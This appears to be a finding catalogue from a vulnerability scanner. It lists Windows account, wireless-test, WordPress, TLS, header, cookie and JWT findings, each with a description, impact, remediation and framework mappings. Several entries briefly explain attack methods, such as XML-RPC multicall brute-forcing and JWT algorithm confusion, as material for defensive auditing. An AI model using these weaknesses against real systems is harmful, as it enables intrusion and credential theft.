Remediation: Restrict zone transfers to authorized secondary DNS servers only. In DNS Manager: right-click zone > Properties > Zone Transfers > uncheck 'Allow zone transfers' or select 'Only to the following servers' and list authorized secondaries. For AD-integrated zones, consider disabling zone transfers entirely and relying on AD replication. Verify with: nslookup > set type=AXFR > ls -d <domain>.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1590.002 (Reconnaissance)
NIST 800-53: AC-3, SC-8, CM-6
PCI DSS 4: 1.3.1
MEDIUM DR-USR-001 — Account Management: Built-in Administrator Enabled
Description: The built-in Administrator account (RID 500) is enabled on this endpoint.
Impact: The built-in Administrator is a well-known target for brute force attacks and cannot be locked out by default. If compromised, it provides full system control. Attackers specifically target this account during password spraying and pass-the-hash attacks.
Remediation: Disable the built-in Administrator account and create named individual admin accounts. If the built-in account must remain enabled for emergency access, rename it and set a complex password stored in a password vault. Consider implementing LAPS for local admin password management.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Persistence)
NIST 800-53: AC-2, AC-6
PCI DSS 4: 8.6.1
HIGH DR-USR-002 — Account Management: Guest Account Enabled
Description: The built-in Guest account is enabled on this endpoint, allowing unauthenticated or minimally-authenticated access.
Impact: The Guest account provides a foothold for unauthenticated access to the system. Even with limited privileges, it can be used for local enumeration, accessing public shares, and as a stepping stone for privilege escalation.
Remediation: Disable the Guest account immediately: net user Guest /active:no. Verify via Group Policy that it remains disabled.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Persistence)
NIST 800-53: AC-2
PCI DSS 4: 8.6.1
MEDIUM DR-USR-003 — Account Management: Password Never Expires
Description: One or more interactive user accounts have the 'Password never expires' flag set.
Impact: Passwords that never expire may remain unchanged for years, increasing the window for compromise through credential theft or brute force. Compliance frameworks universally require periodic password rotation.
Remediation: Remove the 'Password never expires' flag from interactive user accounts. Implement a maximum password age policy (60-90 days). Service accounts should use managed service accounts (gMSA) or be documented with compensating controls if password expiry would break functionality.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078 (Persistence)
NIST 800-53: IA-5
PCI DSS 4: 7.2.1
MEDIUM DR-USR-004 — Account Management: Excessive Local Administrators
Description: The local Administrators group contains more than 3 members, indicating excessive administrative access.
Impact: Each local administrator account is a potential credential for full system compromise. Excessive admin accounts increase the attack surface for pass-the-hash, credential theft, and privilege abuse. Lateral movement is easier when admin credentials are widespread.
Remediation: Review the local Administrators group and remove unnecessary members. Implement the principle of least privilege using standard user accounts for daily operations. Consider implementing LAPS and just-in-time admin access solutions.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1078.003 (Privilege Escalation)
NIST 800-53: AC-6, AC-2
PCI DSS 4: 8.3.9
HIGH DR-USR-005 — Policy: Weak Password Policy
Description: The local password policy does not meet security baselines: minimum length is less than 8 characters and/or password complexity requirements are disabled.
Impact: Weak password policies allow users to set easily guessable passwords. Short passwords without complexity requirements can be cracked in seconds using modern hardware, making brute force and dictionary attacks trivially successful.
Remediation: Set minimum password length to at least 12 characters and enable complexity requirements. Configure via Group Policy: Computer Configuration > Windows Settings > Security Settings > Account Policies > Password Policy. Consider implementing a password filter or Azure AD Password Protection to block common passwords.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
MEDIUM DR-USR-006 — Authentication: Account Lockout Not Configured
Description: The account lockout threshold is set to 0 (disabled), allowing unlimited failed login attempts without locking the account.
Impact: Without account lockout, attackers can perform unlimited password guessing attacks against all accounts without triggering any lockout defense. Password spraying and brute force attacks can continue indefinitely.
Remediation: Configure account lockout policy: set lockout threshold to 5-10 failed attempts, lockout duration to 30 minutes, and reset counter after 30 minutes. Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Account Policies > Account Lockout Policy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-7
PCI DSS 4: 8.3.4
INFO DRIFT-001 — Wireless Reconnection Successful
Description: The wireless interface successfully disconnected from and reconnected to the target SSID within the expected time window. The SSID association was confirmed by polling the interface state.
INFO DRIFT-002 — Wireless Reconnection Failed or Timed Out
Description: The reconnect command was issued but the interface did not confirm association with the target SSID within the 20-second polling window. This may indicate a weak signal, aggressive rate-limiting of (re)association requests by the AP, or a WPA Enterprise authentication delay.
INFO DRIFT-003 — SSID Mismatch After Reconnect
Description: After issuing the reconnect command for the target SSID, the interface associated with a different SSID. This may indicate the presence of a rogue access point with a stronger signal, or unintended roaming to an adjacent network.
INFO DRIFT-004 — Wireless Interface Not Found
Description: The specified or auto-detected wireless interface could not be found on the system. The tool is unable to perform any disconnect/reconnect operations.
INFO DRIFT-005 — Target Network Not Available
Description: The interface is not currently associated with the expected SSID at the start of a cycle. The target network may be temporarily unavailable, out of range, or the interface has roamed to a different network.
INFO DRIFT-006 — Cycle Completed Successfully
Description: A full disconnect/reconnect cycle completed without error. Both the disconnect and reconnect commands succeeded, and the association with the target SSID was confirmed.
INFO DRIFT-007 — Maximum Cycle Count Reached
Description: The configured maximum number of disconnect/reconnect cycles has been reached. The tool has exited normally.
INFO DRIFT-008 — Disconnect Command Returned Non-Zero Exit Code
Description: The OS wireless disconnect command (iw, wpa_cli, nmcli, or airport) returned a non-zero exit code. The interface may not have cleanly disassociated before the reconnect attempt.
INFO DRIFT-009 — Reconnect Command Returned Non-Zero Exit Code
Description: The OS wireless reconnect command returned a non-zero exit code. The network may not have been joined. This may indicate the SSID is not in the system's known network profiles, or that the wireless daemon rejected the connection attempt.
INFO DRIFT-010 — Dry-Run Cycle Completed (Simulated)
Description: A cycle completed in dry-run mode. No actual wireless commands were issued. This confirms the timing logic and argument parsing are functioning correctly.
INFO DRIFT-011 — Privilege Escalation Required for Wireless Commands
Description: Wireless management commands (iw, nmcli, airport) require elevated privileges. The tool invokes these via sudo. If passwordless sudo is not configured, interactive prompts may interrupt automated testing.
INFO DRIFT-012 — Interface Auto-Detection Fallback Used
Description: The wireless interface was not explicitly specified. The tool fell back to parsing /proc/net/wireless or airport output to determine the active interface. The selected interface may not be the intended test adapter.
INFO FR-001 — Internal Redirect: Trailing Slash Mismatch
Description: The server issued an internal redirect due to a trailing slash mismatch on the target URL. This may expose URL normalization behavior.
Remediation: Ensure consistent URL handling and redirect policies are configured on the web server.
OWASP Web: A05:2025
INFO FR-002 — HTTP Redirect to In-Scope URL
Description: The target URL issues an HTTP redirect to another in-scope URL. Redirect chains may expose internal routing logic.
Remediation: Review redirect configurations to ensure they are intentional and do not expose sensitive routing information.
OWASP Web: A04:2025
INFO FR-003 — HTTP Redirect to External URL
Description: The target URL issues an HTTP redirect to an external domain. This could be leveraged in open redirect or phishing scenarios.
Remediation: Validate and whitelist all redirect destinations. Avoid unvalidated redirects to external URLs.
OWASP Web: A04:2025
LOW FR-004 — WordPress readme.html Accessible
Description: The WordPress readme.html file is publicly accessible. This file may disclose the WordPress version and other installation details.
Remediation: Remove or restrict access to readme.html via web server configuration.
OWASP Web: A06:2025
INFO FR-005 — WordPress license.txt Accessible
Description: The WordPress license.txt file is publicly accessible. While not directly exploitable, it confirms a WordPress installation.
Remediation: Remove or restrict access to license.txt via web server configuration.
OWASP Web: A05:2025
MEDIUM FR-006 — Information Disclosure: WordPress Version
Description: The WordPress version was identified from publicly accessible files or meta tags. A known version allows attackers to target specific vulnerabilities.
Remediation: Remove version disclosure from meta generator tags and restrict access to files that reveal version information. Keep WordPress updated.
OWASP Web: A06:2025
MEDIUM FR-007 — WordPress Login Page Accessible
Description: The WordPress admin login page (wp-login.php) is publicly accessible. This exposes the authentication endpoint to brute-force and credential stuffing attacks.
Remediation: Restrict access to wp-login.php by IP, add CAPTCHA, implement account lockout, or use a WAF rule to limit login attempts.
OWASP Web: A07:2025
MEDIUM FR-008 — WordPress User Registration Enabled
Description: WordPress user self-registration is enabled. Attackers may create accounts to gain authenticated access or exploit subscriber-level vulnerabilities.
Remediation: Disable user registration if not required. If required, implement email verification and role restrictions for new registrations.
OWASP Web: A05:2025
LOW FR-009 — WordPress Password Reset Form Accessible
Description: The WordPress password reset form is accessible. Combined with user enumeration, this could facilitate account takeover via password reset abuse.
Remediation: Implement rate limiting on the password reset endpoint and ensure username/email enumeration is not possible through error messages.
OWASP Web: A07:2025
LOW FR-010 — WordPress X-Pingback Header Present
Description: The X-Pingback HTTP header is present, advertising the XML-RPC pingback endpoint. This confirms XML-RPC is enabled and may facilitate SSRF or DDoS amplification.
Remediation: Disable XML-RPC or remove the X-Pingback header via web server configuration if XML-RPC functionality is not required.
OWASP Web: A05:2025
HIGH FR-011 — WordPress XML-RPC Interface Enabled
Description: The WordPress XML-RPC interface (xmlrpc.php) is enabled and accessible. This legacy interface enables brute-force attacks, SSRF via pingback, and DDoS amplification.
Remediation: Disable XML-RPC entirely if not required. If required, restrict access by IP and disable the multicall method.
OWASP Web: A05:2025
HIGH FR-012 — WordPress XML-RPC Multicall Brute-Force Vector
Description: The XML-RPC system.multicall method is enabled, allowing an attacker to test hundreds of username/password combinations in a single HTTP request, bypassing standard rate limiting.
Remediation: Disable XML-RPC or specifically block the system.multicall method. Implement per-IP rate limiting at the web server level.
OWASP Web: A07:2025
HIGH FR-013 — WordPress XML-RPC Pingback SSRF Vector
Description: The XML-RPC pingback.ping method is accessible. An attacker can abuse this to perform Server-Side Request Forgery (SSRF) or use the WordPress server as a DDoS reflector.
Remediation: Disable XML-RPC or block the pingback.ping method. Implement egress filtering to restrict outbound requests from the web server.
OWASP Web: A10:2025
HIGH FR-014 — WordPress XML-RPC Interface Accessible
Description: The WordPress XML-RPC endpoint responds to requests. The full list of available methods was retrieved, confirming the attack surface exposed by this legacy interface.
Remediation: Disable xmlrpc.php entirely unless required. If required, restrict access by IP whitelist.
OWASP Web: A05:2025
MEDIUM FR-015 — WordPress REST API Exposed
Description: The WordPress REST API is publicly accessible without authentication. This may expose site structure, user data, and plugin information to unauthenticated users.
Remediation: Restrict REST API access to authenticated users where possible. Disable specific endpoints that expose sensitive data.
OWASP Web: A01:2025
HIGH FR-016 — WordPress Users Exposed via REST API
Description: The WordPress REST API /wp/v2/users endpoint returns a list of registered usernames and IDs without authentication. This facilitates targeted brute-force and social engineering attacks.
Remediation: Disable or restrict the /wp/v2/users endpoint. Use a security plugin or custom code to require authentication for user enumeration endpoints.
OWASP Web: A01:2025
LOW FR-017 — WordPress Media Files Enumerable via REST API
Description: The WordPress REST API /wp/v2/media endpoint exposes a list of uploaded media files without authentication, revealing site content structure and potentially sensitive file paths.
Remediation: Restrict the media REST API endpoint to authenticated users or disable it if not needed for public consumers.
OWASP Web: A01:2025
MEDIUM FR-018 — WordPress User Enumeration via Author Archives
Description: WordPress author archive pages (/?author=N) redirect to /author/<username>/, disclosing valid usernames. Enumerated usernames can be used for targeted brute-force attacks.
Remediation: Disable author archive pages or suppress the username slug from archive URLs using a security plugin or custom rewrite rules.
OWASP Web: A07:2025
LOW FR-019 — WordPress Username Disclosed via oEmbed API
Description: The WordPress oEmbed endpoint discloses the site author username in its JSON response. This provides an additional username enumeration vector.
Remediation: Disable the oEmbed endpoint if not required, or customize the author name field to avoid exposing login usernames.
OWASP Web: A07:2025
CRITICAL FR-020 — WordPress Configuration Backup Exposed
Description: A WordPress configuration backup file (e.g., wp-config.php.bak, wp-config.php~) was found accessible on the web server. These files typically contain database credentials, authentication keys, and salts.
Remediation: Immediately remove all backup and temporary copies of wp-config.php from the web root. Rotate all credentials disclosed. Configure the web server to deny access to .bak, .swp, and ~ files.
OWASP Web: A01:2025
INFO FR-021 — WordPress Plugin Detected
Description: WordPress plugin(s) confirmed via readme.txt enumeration. Version disclosure enables targeted CVE lookups. Plugin names and versions are listed in the Affected field.
Remediation: Keep all WordPress plugins updated to the latest release. Remove readme.txt from plugin directories on production servers. Remove unused plugins to reduce attack surface.
Effort: Low
OWASP Web: A06:2025
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2
PCI DSS 4: 6.3.2
INFO FR-022 — WordPress Theme Detected
Description: The active WordPress theme was detected via static asset paths. Theme identification aids in locating theme-specific vulnerabilities.
Remediation: Keep themes updated. Remove inactive themes. Restrict access to theme readme and style.css version disclosures.
OWASP Web: A06:2025
HIGH FR-023 — WordPress Debug Log Accessible
Description: The WordPress debug log file (wp-content/debug.log) is publicly accessible. Debug logs may contain PHP errors, stack traces, file paths, database queries, and credentials.
Remediation: Disable WP_DEBUG in production. Move the debug log outside the web root or restrict access via web server configuration.
OWASP Web: A09:2025
MEDIUM FR-024 — WordPress uploads Directory Browsing Enabled
Description: Directory listing is enabled on the WordPress uploads directory. Attackers can enumerate all uploaded files, potentially finding sensitive documents or user data.
Remediation: Disable directory listing in the web server configuration. Add an Options -Indexes directive or equivalent.
OWASP Web: A05:2025
INFO FR-025 — Robots.txt Discloses Hidden Paths
Description: The robots.txt file contains Disallow directives that reveal hidden or sensitive application paths. These paths are often administrative interfaces, backup files, or unlinked endpoints.
Remediation: Review paths listed in robots.txt. Ensure sensitive paths are protected by authentication, not just excluded from crawlers.
OWASP Web: A05:2025
INFO FR-026 — Sitemap.xml Discovered
Description: A sitemap.xml file was found. Sitemaps enumerate application URLs and can reveal non-linked endpoints and application structure.
Remediation: Review all URLs listed in sitemap.xml to ensure none expose sensitive functionality without proper access controls.
OWASP Web: A05:2025
LOW FR-027 — Server Banner Disclosure
Description: The HTTP Server header discloses the web server software name and version. This information assists attackers in identifying applicable CVEs and exploit modules.
Remediation: Configure the web server to suppress or genericize the Server header. Remove version information from all HTTP response headers.
OWASP Web: A05:2025
LOW FR-028 — X-Powered-By Header Discloses Technology Stack
Description: The X-Powered-By HTTP response header discloses the backend technology (e.g., PHP version, ASP.NET version, Express). This aids fingerprinting and CVE targeting.
Remediation: Remove or suppress the X-Powered-By header in web server and application framework configuration.
OWASP Web: A05:2025
MEDIUM FR-029 — Application Error Message Disclosure
Description: Verbose error messages are returned by the application, potentially revealing stack traces, file paths, database queries, or framework internals.
Remediation: Configure custom error pages for all HTTP error codes. Ensure verbose errors are logged server-side only and not returned to clients.
OWASP Web: A05:2025
MEDIUM FR-030 — Directory Listing Enabled
Description: Directory listing is enabled on one or more paths, allowing unauthenticated users to browse file and directory contents. This may expose source code, configuration files, or sensitive documents.
Remediation: Disable directory listing in web server configuration (Options -Indexes for Apache, autoindex off for Nginx).
OWASP Web: A05:2025
MEDIUM FR-031 — WSDL/WADL Service Description Exposed
Description: A WSDL or WADL service description file is publicly accessible. These files describe all available service methods, parameters, and data types, providing a full attack surface map.
Remediation: Restrict access to WSDL/WADL files by IP or authentication. Remove them from public-facing endpoints in production.
OWASP Web: A05:2025
INFO FR-032 — GraphQL Endpoint Detected
Description: A GraphQL endpoint was detected. GraphQL endpoints expose a queryable schema and may be subject to introspection, batching attacks, and authorization bypass.
Remediation: Disable introspection in production. Implement query depth limiting, rate limiting, and field-level authorization checks.
OWASP Web: A05:2025
MEDIUM FR-033 — Swagger/OpenAPI Documentation Exposed
Description: Swagger UI or OpenAPI specification files are publicly accessible without authentication. These documents expose the full API surface including endpoints, parameters, authentication schemes, and data models.
Remediation: Restrict access to API documentation in production. If public documentation is required, ensure it does not expose internal or administrative endpoints.
OWASP Web: A05:2025
HIGH FR-034 — Admin Interface Exposed
Description: An administrative interface was discovered at a predictable path. Admin interfaces exposed to the internet are high-value targets for brute-force, credential stuffing, and authentication bypass attacks.
Remediation: Restrict admin interface access by IP whitelist. Move admin interfaces to non-standard ports or behind a VPN. Enforce MFA on all administrative accounts.
OWASP Web: A05:2025
HIGH FR-035 — Backup File Discovered
Description: A backup file (e.g., .bak, .old, .orig, ~, .zip) was discovered in the web root. Backup files often contain source code, configuration, or credentials.
Remediation: Remove all backup files from the web root. Add web server rules to deny access to common backup file extensions.
OWASP Web: A05:2025
CRITICAL FR-036 — Configuration File Exposed
Description: A configuration file (e.g., .env, config.php, settings.py, database.yml) is publicly accessible. Configuration files typically contain database credentials, API keys, secret keys, and other sensitive values.
Remediation: Remove configuration files from the web root immediately. Store configuration outside the document root. Rotate all exposed credentials.
OWASP Web: A05:2025
CRITICAL FR-037 — Git Repository Exposed
Description: A .git directory or git repository index is accessible from the web root. An attacker can reconstruct the full source code, commit history, and any secrets ever committed.
Remediation: Immediately block access to .git directories via web server configuration. Rotate all credentials ever committed to the repository. Audit git history for secrets.
OWASP Web: A05:2025
HIGH FR-038 — SVN/CVS Repository Exposed
Description: A Subversion (.svn) or CVS repository directory is accessible from the web root. Repository metadata can be used to reconstruct source files.
Remediation: Block access to .svn and CVS directories via web server configuration. Remove version control directories from the web root.
OWASP Web: A05:2025
HIGH FR-039 — Log File Accessible
Description: An application or server log file is publicly accessible. Log files may contain IP addresses, usernames, session tokens, stack traces, and sensitive application data.
Remediation: Move log files outside the web root. Restrict access via web server configuration. Ensure log rotation is implemented.
OWASP Web: A09:2025
CRITICAL FR-040 — Database File Exposed
Description: A database file (e.g., .sqlite, .db, .mdb) is directly accessible from the web server. This exposes the entire database contents to unauthenticated download.
Remediation: Remove all database files from the web root immediately. Store database files outside the document root and restrict filesystem permissions.
OWASP Web: A05:2025
HIGH FR-041 — TLS Certificate Expired
Description: The TLS certificate presented by the server has expired. Browser warnings will be displayed, and the certificate can no longer be trusted to guarantee the server's identity.
Remediation: Renew the TLS certificate immediately. Implement automated certificate renewal (e.g., Let's Encrypt with certbot or ACME protocol) to prevent future expirations.
OWASP Web: A02:2025
HIGH FR-042 — TLS Certificate Not Yet Valid
Description: The TLS certificate presented by the server has a notBefore date in the future, meaning it is not yet valid. Clients may reject the connection.
Remediation: Ensure server time is synchronized via NTP. Verify the certificate was issued correctly and replace if the issue persists.
OWASP Web: A02:2025
HIGH FR-043 — TLS Certificate Hostname Mismatch
Description: The Common Name or Subject Alternative Names in the TLS certificate do not match the hostname being accessed. This breaks trust validation and may indicate a misconfiguration or MITM condition.
Impact: A TLS certificate hostname mismatch indicates the certificate was not issued for the requested domain, causing browser warnings. Users who bypass these warnings become vulnerable to MITM attacks, and automated systems may silently accept invalid certificates.
Remediation: Obtain and install a certificate that matches the server's hostname. Use Subject Alternative Names (SANs) to cover all required hostnames.
OWASP Web: A02:2025
MEDIUM FR-044 — TLS Certificate Self-Signed
Description: The TLS certificate is self-signed and not issued by a trusted Certificate Authority. Clients cannot validate the server's identity, making the connection susceptible to MITM attacks.
Remediation: Replace the self-signed certificate with one issued by a trusted CA. Use Let's Encrypt for free, automatically renewed certificates.
OWASP Web: A02:2025
HIGH FR-045 — Weak TLS Protocol Supported (SSLv2/SSLv3/TLS 1.0/TLS 1.1)
Description: The server supports one or more deprecated TLS/SSL protocol versions (SSLv2, SSLv3, TLS 1.0, or TLS 1.1). These protocols have known cryptographic weaknesses exploitable by POODLE, BEAST, and similar attacks.
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Configure the server to support only TLS 1.2 and TLS 1.3.
OWASP Web: A02:2025
HIGH FR-046 — Weak Cipher Suite Supported
Description: The server supports weak cipher suites including NULL encryption, RC4, DES, 3DES, or export-grade ciphers. Weak ciphers can be exploited to decrypt TLS-protected traffic.
Remediation: Configure the server to support only strong cipher suites (AES-GCM, ChaCha20-Poly1305). Use Mozilla SSL Configuration Generator for recommended cipher lists.
OWASP Web: A02:2025
MEDIUM FR-047 — TLS BEAST Vulnerability
Description: The server is vulnerable to the BEAST (Browser Exploit Against SSL/TLS) attack due to the use of TLS 1.0 with CBC cipher suites. An attacker with network position can decrypt portions of encrypted traffic.
Remediation: Disable TLS 1.0. Prefer TLS 1.2+ with GCM cipher suites. Enable server-side cipher preference.
OWASP Web: A02:2025
HIGH FR-048 — TLS POODLE Vulnerability
Description: The server supports SSLv3, making it vulnerable to the POODLE (Padding Oracle On Downgraded Legacy Encryption) attack. An attacker can force a downgrade to SSLv3 and decrypt session cookies.
Remediation: Disable SSLv3 entirely. Implement TLS_FALLBACK_SCSV to prevent protocol downgrade attacks.
OWASP Web: A02:2025
CRITICAL FR-049 — TLS DROWN Vulnerability
Description: The server supports SSLv2, making modern TLS connections vulnerable to the DROWN attack. An attacker can decrypt RSA-encrypted TLS sessions by exploiting SSLv2 export cipher weaknesses.
Remediation: Disable SSLv2 on all servers sharing the same private key. Regenerate private keys if SSLv2 was enabled.
OWASP Web: A02:2025
CRITICAL FR-050 — TLS HEARTBLEED Vulnerability
Description: The server is running a version of OpenSSL vulnerable to Heartbleed (CVE-2014-0160). An attacker can read up to 64KB of server memory per request, potentially extracting private keys, session tokens, and credentials.
Remediation: Upgrade OpenSSL to 1.0.1g or later immediately. After patching, revoke and regenerate all TLS certificates and private keys. Invalidate all active sessions.
OWASP Web: A02:2025
HIGH FR-051 — TLS LOGJAM Vulnerability
Description: The server supports DHE key exchange with weak (export-grade) Diffie-Hellman parameters (512-bit), making it vulnerable to the LOGJAM downgrade attack.
Remediation: Disable export-grade DHE cipher suites. Generate and configure strong (2048-bit or 4096-bit) DH parameters. Prefer ECDHE over DHE.
OWASP Web: A02:2025
HIGH FR-052 — TLS FREAK Vulnerability
Description: The server supports RSA_EXPORT cipher suites, making it vulnerable to the FREAK (Factoring RSA Export Keys) attack. An attacker can force the use of weak 512-bit RSA keys.
Remediation: Disable all EXPORT cipher suites. Update OpenSSL to a patched version. Enforce server-side cipher preference.
OWASP Web: A02:2025
HIGH FR-053 — TLS ROBOT Vulnerability
Description: The server is vulnerable to the ROBOT (Return Of Bleichenbacher's Oracle Threat) attack, allowing an attacker to perform RSA decryption and signing operations with the server's private key.
Remediation: Disable RSA key exchange cipher suites. Use ECDHE for forward secrecy. Patch the TLS library to a version with ROBOT mitigations.
OWASP Web: A02:2025
HIGH FR-054 — TLS CCS Injection Vulnerability
Description: The server is vulnerable to the OpenSSL CCS Injection vulnerability (CVE-2014-0224). An attacker with MITM position can force the use of weak key material.
Remediation: Upgrade OpenSSL to 0.9.8za, 1.0.0m, or 1.0.1h or later. Restart the server after patching.
OWASP Web: A02:2025
HIGH FR-055 — TLS Ticketbleed Vulnerability
Description: The server is vulnerable to Ticketbleed (CVE-2016-9244) in F5 BIG-IP TLS implementations, allowing an attacker to read up to 31 bytes of uninitialized memory via TLS session tickets.
Remediation: Apply the vendor patch from F5. Disable TLS session tickets as a temporary mitigation.
OWASP Web: A02:2025
MEDIUM FR-056 — TLS SWEET32 Vulnerability
Description: The server supports 3DES cipher suites, making long-lived TLS connections vulnerable to the SWEET32 birthday attack, which can recover plaintext from encrypted traffic.
Remediation: Disable 3DES (TRIPLE_DES, 3DES_EDE) cipher suites. Prefer AES-GCM cipher suites.
OWASP Web: A02:2025
MEDIUM FR-057 — HTTP Strict Transport Security (HSTS) Not Enforced
Description: The Strict-Transport-Security (HSTS) header is not present or has an insufficient max-age. Without HSTS, browsers may connect over HTTP, enabling SSL stripping attacks.
Impact: Without HSTS enforcement, browsers permit plaintext HTTP connections, enabling SSL stripping attacks where an attacker downgrades the connection to intercept credentials and session tokens in transit.
Remediation: Add the Strict-Transport-Security header with a max-age of at least 31536000 seconds (1 year), includeSubDomains, and preload directives.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MEDIUM FR-058 — TLS Certificate Uses Weak Signature Algorithm (MD5/SHA-1)
Description: The TLS certificate is signed with a weak signature algorithm (MD5 or SHA-1). SHA-1 certificates are deprecated by major browsers and CAs, and MD5 certificates are cryptographically broken.
Remediation: Replace the certificate with one using SHA-256 or stronger signature algorithm (SHA-2 family).
OWASP Web: A02:2025
MEDIUM FR-059 — TLS Certificate Short Key Length
Description: The TLS certificate uses an RSA key shorter than 2048 bits. Short RSA keys are susceptible to factoring attacks with sufficient computational resources.
Remediation: Replace the certificate with one using at least 2048-bit RSA keys, or preferably 4096-bit RSA or ECDSA P-256/P-384.
OWASP Web: A02:2025
HIGH FR-060 — Subdomain Takeover Vulnerability
Description: A subdomain DNS record points to an external service (e.g., GitHub Pages, S3, Heroku, Netlify) that is no longer claimed. An attacker can register the unclaimed resource and serve malicious content from the trusted subdomain.
Remediation: Remove dangling DNS records immediately. Claim or delete the referenced external resource. Implement DNS monitoring to detect future dangling records.
OWASP Web: A05:2025
MEDIUM FR-061 — Missing Content-Security-Policy Header
Description: The Content-Security-Policy (CSP) header is absent. Without CSP, the application has no defense against Cross-Site Scripting (XSS) and data injection attacks through browser-enforced policy.
Remediation: Implement a restrictive Content-Security-Policy header. Start with a report-only policy, monitor violations, then enforce. Avoid 'unsafe-inline' and 'unsafe-eval' directives.
OWASP Web: A05:2025
MEDIUM FR-062 — Missing X-Frame-Options Header
Description: The X-Frame-Options header is absent. Without this header, the page can be embedded in an iframe on any origin, enabling clickjacking attacks that trick users into performing unintended actions.
Remediation: Add 'X-Frame-Options: DENY' or 'X-Frame-Options: SAMEORIGIN'. Alternatively, use the CSP frame-ancestors directive.
OWASP Web: A05:2025
LOW FR-063 — Missing X-Content-Type-Options Header
Description: The X-Content-Type-Options header is absent. Without this header, browsers may perform MIME type sniffing, potentially executing uploaded files as scripts.
Remediation: Add 'X-Content-Type-Options: nosniff' to all HTTP responses.
OWASP Web: A05:2025
LOW FR-064 — Missing Referrer-Policy Header
Description: The Referrer-Policy header is absent. Without this header, the browser's default behavior may leak the full URL (including query parameters and path) in the Referer header to third-party origins.
Remediation: Add 'Referrer-Policy: strict-origin-when-cross-origin' or a more restrictive policy to prevent sensitive URL data leakage.
OWASP Web: A05:2025
LOW FR-065 — Missing Permissions-Policy Header
Description: The Permissions-Policy (formerly Feature-Policy) header is absent. This header controls which browser features and APIs are available to the page and embedded third-party content.
Remediation: Add a Permissions-Policy header that disables browser features not required by the application (e.g., camera, microphone, geolocation).
OWASP Web: A05:2025
MEDIUM FR-066 — Missing Strict-Transport-Security Header
Description: The HTTP Strict-Transport-Security (HSTS) header is absent. Without HSTS, browsers may connect over plain HTTP, and SSL stripping attacks can downgrade HTTPS connections to HTTP.
Remediation: Add 'Strict-Transport-Security: max-age=31536000; includeSubDomains; preload' to all HTTPS responses.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM FR-067 — Insecure Content-Security-Policy (Unsafe-Inline Allowed)
Description: The Content-Security-Policy header contains 'unsafe-inline', which negates XSS protection by allowing inline JavaScript and CSS. This is the most common CSP misconfiguration.
Remediation: Replace 'unsafe-inline' with nonce-based or hash-based CSP. Refactor inline scripts to external files.
OWASP Web: A05:2025
MEDIUM FR-068 — Insecure Content-Security-Policy (Wildcard Source)
Description: The Content-Security-Policy header contains a wildcard (*) source directive, allowing scripts or resources to be loaded from any origin. This effectively disables CSP's XSS protection.
Remediation: Replace wildcard sources with specific, trusted origin allowlists. Audit all third-party resource dependencies.
OWASP Web: A05:2025
MEDIUM FR-069 — Session Cookie Missing Secure Flag
Description: One or more session cookies are set without the Secure flag. Without the Secure flag, the cookie will be transmitted over unencrypted HTTP connections, exposing session tokens to network interception.
Remediation: Set the Secure flag on all session cookies. Ensure the application forces HTTPS for all authenticated requests.
OWASP Web: A02:2025
MEDIUM FR-070 — Session Cookie Missing HttpOnly Flag
Description: One or more session cookies are set without the HttpOnly flag. Without HttpOnly, client-side JavaScript can read the cookie value, enabling session token theft via XSS.
Remediation: Set the HttpOnly flag on all session and authentication cookies to prevent JavaScript access.
OWASP Web: A02:2025
MEDIUM FR-071 — Session Cookie Missing SameSite Attribute
Description: Session cookies are set without the SameSite attribute, or with SameSite=None without Secure. This enables Cross-Site Request Forgery (CSRF) attacks in browsers that do not implement SameSite by default.
Remediation: Set SameSite=Strict or SameSite=Lax on all session cookies. Use SameSite=None only for legitimate cross-site cookie sharing, and always with Secure.
OWASP Web: A01:2025
HIGH FR-072 — JWT Token in Local Storage
Description: JSON Web Tokens (JWTs) are stored in browser localStorage. localStorage is accessible to JavaScript, making JWT tokens vulnerable to theft via XSS attacks.
Remediation: Store JWTs in HttpOnly, Secure cookies instead of localStorage. This prevents JavaScript access and protects tokens from XSS-based theft.
OWASP Web: A02:2025
CRITICAL FR-073 — JWT Algorithm Confusion (None Algorithm)
Description: The server accepts JWTs with the algorithm set to 'none', bypassing signature verification entirely. An attacker can forge arbitrary JWT payloads and impersonate any user.
Remediation: Explicitly validate the JWT algorithm on the server side. Reject tokens with 'alg: none'. Use a strict allowlist of permitted algorithms.
OWASP Web: A02:2025
CRITICAL FR-074 — JWT Algorithm Confusion (RS256 to HS256)
Description: The server is vulnerable to JWT algorithm confusion. By changing the algorithm from RS256 to HS256 and signing the token with the public key as the HMAC secret, an attacker can forge valid JWTs.
